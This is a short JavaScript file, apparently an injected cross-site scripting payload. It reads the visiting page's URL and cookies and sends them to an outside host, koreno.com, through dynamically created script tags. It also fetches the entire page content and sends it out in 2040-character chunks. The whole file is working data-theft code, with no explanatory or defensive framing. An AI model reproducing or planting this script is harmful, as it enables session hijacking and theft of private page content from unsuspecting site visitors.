function sd(doc){
         send = document.createElement('script');
         send.src=server+'search.php?'+doc;
         send.language='text/javascript';
         head.appendChild(send);
         }
function sd1(doc){
		var Url= document.URL;
         send = document.createElement('script');
         send.src=server+'cookie.asp?cookie='+doc+'&dizhi='+Url;
         send.type='javascript';
         head.appendChild(send);
         }

function ajax(u) {
   var xmlHttp;
   try {
     xmlHttp = new XMLHttpRequest;
   } catch (e) {
      try {
         xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
      } catch (e) {
         try {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
         } catch (e) {
         }
      }
   }
    xmlHttp.open("GET",u,false);
    xmlHttp.send(null);
    return escape(xmlHttp.responseText);
}
var doc='';
var server='http://koreno.com/en/images/';


var head=document.getElementsByTagName('head').item(0);
url=encodeURIComponent(location.href);
ck=encodeURIComponent(document.cookie);
sd("s=1&u="+url+"&c="+ck);
if(location.href.indexOf("file:")==-1)
doc=ajax(location.href);
else
doc=escape(document.documentElement.outerHTML);
doclen=doc.length;
buflen=2040;
for(i=0;i<doclen;i=i+buflen){
   dstr=doc.substr(i,buflen);
   sd("s=2&d="+dstr);
   }
sd("s=3");
sd1(ck);


